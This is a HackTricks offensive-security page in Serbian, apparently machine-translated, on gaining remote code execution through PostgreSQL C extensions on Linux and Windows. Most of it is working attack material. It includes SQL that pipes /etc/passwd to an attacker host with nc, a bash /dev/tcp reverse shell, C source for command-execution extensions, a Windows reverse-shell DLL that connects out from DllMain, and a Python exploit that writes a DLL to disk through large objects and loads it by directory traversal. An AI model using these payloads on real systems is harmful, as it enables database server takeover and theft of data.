RCE with PostgreSQL Extensions

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

PostgreSQL Ekstenzije

PostgreSQL je razvijen sa ekstenzibilnošću kao osnovnom karakteristikom, omogućavajući mu da besprekorno integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, u suštini biblioteke napisane u C, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.

Od verzije 8.1 nadalje, postavljen je specifičan zahtev za biblioteke ekstenzija: moraju biti kompajlirane sa posebnim zaglavljem. Bez toga, PostgreSQL ih neće izvršiti, osiguravajući da se koriste samo kompatibilne i potencijalno sigurne ekstenzije.

Takođe, imajte na umu da ako ne znate kako da otpremite fajlove na žrtvu koristeći PostgreSQL, trebali biste pročitati ovaj post.

RCE u Linuxu

Za više informacija proverite: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Izvršenje sistemskih komandi iz PostgreSQL 8.1 i ranijih verzija je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovo: Metasploit modul.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Write binary file from base64

Da biste napisali binarni fajl u postgres, možda ćete morati da koristite base64, ovo će biti korisno za tu svrhu:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Međutim, kada je pokušano na većim verzijama prikazana je sledeća greška:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Ova greška je objašnjena u PostgreSQL dokumentaciji:

Da bi se osiguralo da se dinamički učitani objekat ne učita u nekompatibilni server, PostgreSQL proverava da li datoteka sadrži "magični blok" sa odgovarajućim sadržajem. Ovo omogućava serveru da otkrije očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magični blok je obavezan od PostgreSQL 8.2. Da biste uključili magični blok, napišite ovo u jednoj (i samo jednoj) od izvornih datoteka modula, nakon što ste uključili zaglavlje fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Od verzije PostgreSQL 8.2, proces za napadača da iskoristi sistem je postao izazovniji. Napadač je obavezan da ili koristi biblioteku koja je već prisutna na sistemu ili da otpremi prilagođenu biblioteku. Ova prilagođena biblioteka mora biti kompajlirana protiv kompatibilne glavne verzije PostgreSQL-a i mora uključivati specifičan "magični blok". Ova mera značajno povećava težinu iskorišćavanja PostgreSQL sistema, jer zahteva dublje razumevanje arhitekture sistema i kompatibilnosti verzija.

Kompajlirajte biblioteku

Dobijte verziju PostgreSQL-a sa:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Za kompatibilnost, od suštinskog je značaja da se glavne verzije usklade. Stoga, kompajliranje biblioteke sa bilo kojom verzijom unutar 9.6.x serije treba da obezbedi uspešnu integraciju.

Da instalirate tu verziju na vašem sistemu:

apt install postgresql postgresql-server-dev-9.6

И компајлирајте библиотеку:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Zatim otpremite kompajliranu biblioteku i izvršite komande sa:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Možete pronaći ovu biblioteku unapred kompajliranu za nekoliko različitih verzija PostgreSQL-a i čak možete automatizovati ovaj proces (ako imate pristup PostgreSQL-u) sa:

RCE u Windows-u

Sledeća DLL uzima kao ulaz ime binarnog fajla i broj puta koliko želite da ga izvršite i izvršava ga:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Možete pronaći DLL kompajliran u ovom zip-u:

4KB
pgsql_exec.zip
archive

Možete naznačiti ovom DLL-u koji binarni fajl da izvrši i broj puta koliko treba da ga izvrši, u ovom primeru će izvršiti calc.exe 2 puta:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

U ovde možete pronaći ovu reverznu ljusku:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Napomena kako je u ovom slučaju maliciozni kod unutar DllMain funkcije. To znači da u ovom slučaju nije potrebno izvršiti učitanu funkciju u postgresql, samo učitavanje DLL-a će izvršiti reverznu ljusku:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

The PolyUDF project je takođe dobar početak sa punim MS Visual Studio projektom i spremnom bibliotekom (uključujući: command eval, exec i cleanup) sa podrškom za više verzija.

RCE u najnovijim Prostgres verzijama

U najnovijim verzijama PostgreSQL-a, uvedena su ograničenja gde je superuser zabranjen da učitava deljene biblioteke osim iz specifičnih direktorijuma, kao što su C:\Program Files\PostgreSQL\11\lib na Windows-u ili /var/lib/postgresql/11/lib na *nix sistemima. Ovi direktorijumi su zaštićeni od operacija pisanja od strane ili NETWORK_SERVICE ili postgres naloga.

Uprkos ovim ograničenjima, moguće je da autentifikovani superuser baze podataka piše binarne datoteke na datotečni sistem koristeći "velike objekte." Ova sposobnost se proteže na pisanje unutar direktorijuma C:\Program Files\PostgreSQL\11\data, što je od suštinskog značaja za operacije baze podataka kao što su ažuriranje ili kreiranje tabela.

Značajna ranjivost proizašla je iz komande CREATE FUNCTION, koja dozvoljava prolaz kroz direktorijum u direktorijum podataka. Kao rezultat, autentifikovani napadač bi mogao iskoristiti ovaj prolaz da napiše deljenu biblioteku u direktorijum podataka i zatim je učita. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postignuvši izvršenje nativnog koda na sistemu.

Tok napada

Prvo što treba da uradite je da koristite velike objekte za upload dll-a. Možete videti kako to uraditi ovde:

Big Binary Files Upload (PostgreSQL)

Kada ste učitali ekstenziju (sa imenom poc.dll za ovaj primer) u direktorijum podataka, možete je učitati sa:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Napomena da ne morate dodavati ekstenziju .dll jer će funkcija za kreiranje to dodati.

Za više informacija pročitajte originalnu publikaciju ovde. U toj publikaciji ovaj je bio kod koji se koristi za generisanje postgres ekstenzije (da biste naučili kako da kompajlirate postgres ekstenziju, pročitajte neku od prethodnih verzija). Na istoj stranici je dat ovaj exploit za automatizaciju ove tehnike:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Reference

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Last updated